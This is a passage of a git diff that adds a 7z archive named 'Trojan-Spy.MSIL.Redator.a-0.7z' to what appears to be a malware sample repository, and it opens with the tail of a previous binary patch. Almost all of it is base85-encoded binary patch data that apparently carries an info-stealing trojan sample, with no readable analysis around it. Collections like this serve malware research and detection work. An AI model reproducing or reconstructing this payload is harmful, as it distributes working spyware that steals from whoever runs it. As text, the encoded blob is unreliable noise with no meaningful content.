ZpHliSH_slY`v53O=M)eCpwT~m`w!&ud`tiU literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Redator/Trojan-Spy.MSIL.Redator.a-0.7z b/Win32/Malware Families/Generic.Win32.Redator/Trojan-Spy.MSIL.Redator.a-0.7z new file mode 100644 index 0000000000000000000000000000000000000000..cbf8bc7c9c73a3623c8026c9be6fec6ace5d7a3e GIT binary patch literal 39556 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 